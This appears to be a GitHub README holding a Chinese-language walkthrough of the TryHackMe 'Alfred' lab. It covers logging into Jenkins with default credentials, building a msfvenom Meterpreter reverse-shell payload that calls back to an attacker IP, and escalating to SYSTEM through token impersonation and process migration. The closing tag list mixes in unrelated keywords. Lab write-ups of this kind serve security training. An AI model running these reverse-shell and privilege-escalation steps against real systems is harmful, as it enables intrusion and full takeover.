abanop22333/Alfred-TryHackMe-Walkthrough-Jenkins-Exploitation-Windows-Token-Privilege-Escalation

GitHub: abanop22333/Alfred-TryHackMe-Walkthrough-Jenkins-Exploitation-Windows-Token-Privilege-Escalation

一个基于TryHackMe「Alfred」房间的渗透测试报告,演示了利用Jenkins漏洞和Windows令牌特权提升的完整攻击流程。

Stars: 0 | Forks: 0

# 🦇 TryHackMe: Alfred 攻略与渗透测试报告

Alfred Room Logo

TryHackMe Windows Difficulty Author

## 📑 目录 - [1. 执行摘要](#1-executive-summary) - [2. 评估范围](#2-scope-of-assessment) - [3. 侦察](#3-reconnaissance) - [4. 任务一:初始访问](#4-task-1-initial-access) - [5. 任务二:切换Shell](#5-task-2-switching-shell) - [6. 任务三:特权提升](#6-task-3-privilege-escalation) - [7. 参考资料](#7-references) ## 1. 执行摘要 在此次任务中,我们针对目标系统 **"Alfred"** 进行了一次完整的渗透测试。目标是识别配置错误,获取初始访问权限,并将权限提升至最高级别。 本次测试揭示了几个关键漏洞: - **MS12-020 RCE (CVE-2012-0002):** 通过 RDP 实现的未授权远程代码执行。 - **MS12-020 DoS (CVE-2012-0152):** 通过 RDP 实现的拒绝服务攻击。 - **Jenkins 默认凭据:** CI/CD 服务器暴露了 `admin:admin` 默认凭据,允许执行任意命令。 - **令牌模拟滥用:** Jenkins 服务账户拥有 `SeImpersonatePrivilege` 权限,允许进行垂直特权提升至 `NT AUTHORITY\SYSTEM`。 **整体攻击影响:** 通过链接利用 Jenkins 默认凭据和服务账户被过度授予的令牌特权,攻击者可以在不利用复杂内存损坏漏洞的情况下实现对系统的完全控制。 ## 2. 评估范围 评估严格限定在所提供的目标 IP 内。未授权任何横向移动或外部网络扫描。 | 元素 | 详情 | | :--- | :--- | | **目标 IP** | `10.112.178.37` | | **操作系统** | Windows | | **环境** | TryHackMe CTF 环境 | | **测试范围** | 初始访问、特权提升、后渗透 | | **超出范围** | 拒绝服务 (DoS) 攻击、社会工程、边界外基础设施 | ## 3. 侦察 任务以全面的端口扫描和服务枚举开始,以映射外部攻击面。 ``` nmap 10.112.178.37 -sV -sC --script=vuln -O -Pn ``` **Nmap 实际输出:** ``` Starting Nmap 7.93 ( https://nmap.org ) at 2026-05-18 01:25 EDT Nmap scan report for 10.112.178.37 Host is up (0.045s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 |_http-server-header: Microsoft-IIS/7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Site doesn't have a title (text/html). 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-vuln-ms12-020: | VULNERABLE: | MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability | State: VULNERABLE | IDs: CVE:CVE-2012-0152 | MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability | State: VULNERABLE | IDs: CVE:CVE-2012-0002 8080/tcp open http Jetty 9.4.z-SNAPSHOT |_http-server-header: Jetty(9.4.z-SNAPSHOT) |_http-title: Site doesn't have a title (text/html;charset=utf-8). ``` ![Nmap 侦察](https://raw.githubusercontent.com/abanop22333/Alfred-TryHackMe-Walkthrough-Jenkins-Exploitation-Windows-Token-Privilege-Escalation/main/screenshots/recon.png) **关键发现:** - **端口 80 (IIS 7.5):** 一个暴露静态页面的基本 Web 服务器。 - **端口 3389 (RDP):** 运行着一个过时的 Microsoft Terminal Services 版本,极易受到 MS12-020 漏洞影响。 - **端口 8080 (Jetty 9.4.z-SNAPSHOT):** 运行着 Jetty 的开发/快照版本。访问此端口会显示一个 Jenkins CI/CD 自动化服务器。 ## 4. 任务一:初始访问 访问 `http://10.112.178.37:8080` 会出现一个 Jenkins 登录门户。Jenkins 经常存在配置错误,因此我们在尝试暴力破解攻击之前,先测试了默认凭据。 **使用的凭据:** - **用户名:** `admin` - **密码:** `admin` ![Jenkins 登录](https://raw.githubusercontent.com/abanop22333/Alfred-TryHackMe-Walkthrough-Jenkins-Exploitation-Windows-Token-Privilege-Escalation/main/screenshots/jenkins_login.png) 这些凭据成功授予了管理访问权限。Jenkins 允许管理员在构建流水线中执行 Shell 命令。 ### 载荷生成 我们使用 `msfvenom` 生成了一个 PowerShell 反向 Shell 载荷,用于通过 Jenkins 的构建步骤执行。 ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.112.116.54 LPORT=4444 -f psh-cmd ``` 该工具生成了一个编码后的 PowerShell 命令,类似于: ``` powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoAFsAQwBvAG4AdgBlAHIAdAAd... ``` ### 漏洞利用 1. 导航到现有项目的 **Configure**(或创建一个 Freestyle 项目)。 2. 滚动到 **Build Steps**。 3. 添加一个 **Execute Windows batch command** 步骤。 4. 粘贴生成的 `msfvenom` 载荷。 ### Metasploit 监听器 在触发构建之前,我们在攻击机上建立了一个监听器: ``` msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.112.116.54; set LPORT 4444; exploit" ``` 在 Jenkins 中点击 **"Build Now"** 后,收到了反向 Shell 回调。 ``` [*] Started reverse TCP handler on 10.112.116.54:4444 [*] Sending stage (200262 bytes) to 10.112.178.37 [*] Meterpreter session 1 opened (10.112.116.54:4444 -> 10.112.178.37:49213) at 2026-05-18 01:45:12 -0400 meterpreter > getuid Server username: alfred\bruce ``` ![Meterpreter 初始访问](https://raw.githubusercontent.com/abanop22333/Alfred-TryHackMe-Walkthrough-Jenkins-Exploitation-Windows-Token-Privilege-Escalation/main/screenshots/meterpreter_access.png) ### 获取用户标志 ``` meterpreter > search -f user.txt Found 1 result... C:\Users\bruce\Desktop\user.txt meterpreter > cat "C:\Users\bruce\Desktop\user.txt" 79007a09481963edf2e1321abd9ae2a0 ``` ## 5. 任务二:切换 Shell 虽然最初的基于内存的 PowerShell Meterpreter Shell 是可用的,但对于高级的特权提升模块(特别是进程迁移和令牌操作)来说可能不稳定。 为了确保稳定性,我们生成了一个标准的 Windows 可执行 Meterpreter 载荷。 ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.112.116.54 LPORT=4443 -f exe -o shell.exe ``` 输出: ``` [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes Saved as: shell.exe ``` 我们通过现有会话将 `shell.exe` 下载到目标机器,在端口 `4443` 上设置了新的监听器,并执行了该二进制文件。 这提供了一个高度稳定的 `x64` Meterpreter 会话,为特权提升阶段做好了准备。 ## 6. 任务三:特权提升 Windows 使用令牌来确保进程在正确的安全上下文下运行。当服务账户需要能够代表其他用户运行任务时,它通常会被授予特定且强大的权限。 我们进入标准 Shell 以检查当前权限。 ``` meterpreter > shell Process 2816 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Program Files (x86)\Jenkins\workspace\project> whoami /priv ``` **输出:** ``` PRIVILEGES INFORMATION ---------------------- Privilege Name Description State =============================== ========================================= ======== SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeSecurityPrivilege Manage auditing and security log Disabled SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeLoadDriverPrivilege Load and unload device drivers Disabled SeSystemProfilePrivilege Profile system performance Disabled SeSystemtimePrivilege Change the system time Disabled SeProfileSingleProcessPrivilege Profile single process Disabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled SeCreatePagefilePrivilege Create a pagefile Disabled SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled SeUndockPrivilege Remove computer from docking station Disabled SeManageVolumePrivilege Perform volume maintenance tasks Disabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled SeCreateSymbolicLinkPrivilege Create symbolic links Disabled ``` ![令牌权限](https://raw.githubusercontent.com/abanop22333/Alfred-TryHackMe-Walkthrough-Jenkins-Exploitation-Windows-Token-Privilege-Escalation/main/screenshots/whoami_priv.png) ### 漏洞 我们识别出当前启用的两个高度危险的权限: 1. **`SeDebugPrivilege`:** 允许用户检查和调整其他进程的内存。 2. **`SeImpersonatePrivilege`:** 允许进程模拟它可以获取的任何令牌。 ### 令牌模拟攻击 使用 Metasploit 的 `incognito` 扩展,我们利用 `SeImpersonatePrivilege` 窃取了 `BUILTIN\Administrators` 组的委派令牌。 ``` meterpreter > load incognito Loading extension incognito...Success. meterpreter > list_tokens -g ``` 我们发现 `BUILTIN\Administrators` 令牌可用并进行了模拟: ``` meterpreter > impersonate_token "BUILTIN\Administrators" ``` **输出:** ``` [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM ``` ### 进程迁移与 Root 标志 为了巩固我们新的 `SYSTEM` 上下文并防止在模拟的线程崩溃时会话终止,我们迁移进了 `services.exe` 进程(该进程天然以 `SYSTEM` 身份运行)。 ``` meterpreter > pgrep services.exe 668 meterpreter > migrate 668 [*] Migrating from 2816 to 668... [*] Migration completed successfully. ``` 在确保拥有完全的管理控制权后,我们获取了最终的 root 标志。 ``` meterpreter > cat "C:\Windows\System32\config\root.txt" dff0f748678f280250f25a45b8046b4a ``` ![Root 访问](https://raw.githubusercontent.com/abanop22333/Alfred-TryHackMe-Walkthrough-Jenkins-Exploitation-Windows-Token-Privilege-Escalation/main/screenshots/root_flag.png) ### 检测与缓解 - **缓解措施:** 确保服务账户在最小权限原则下运行。`SeImpersonatePrivilege` 应仅在绝对必要时授予,并且服务应被隔离。部署后立即更改所有默认凭据。 - **检测措施:** 监控事件 ID `4672`(为新登录分配的特殊权限)和事件 ID `4624`(登录),以发现利用管理令牌的异常进程。 ## 7. 参考资料 - [TryHackMe: Alfred 房间](https://tryhackme.com/room/alfred) - [Nishang PowerShell 框架](https://github.com/samratashok/nishang) - [Exploit-DB: 滥用令牌特权进行本地特权提升](https://www.exploit-db.com/papers/42556) - [Microsoft 访问令牌文档](https://learn.microsoft.com/en-us/windows/win32/secauthz/access-tokens)

作者: Abanoub Ehab | 品牌: BobXploit
攻击性安全 / 红队 / 渗透测试

标签:AI合规, Alfred, CTI, Jenkins, RDP, TryHackMe, walkthrough, XXE攻击, 人体姿态估计, 令牌模拟, 初始访问, 协议分析, 子域名枚举, 拒绝服务, 服务配置, 权限提升, 漏洞分析, 特权升级, 系统安全, 编程工具, 网络安全, 路径探测, 远程代码执行, 隐私保护, 默认凭据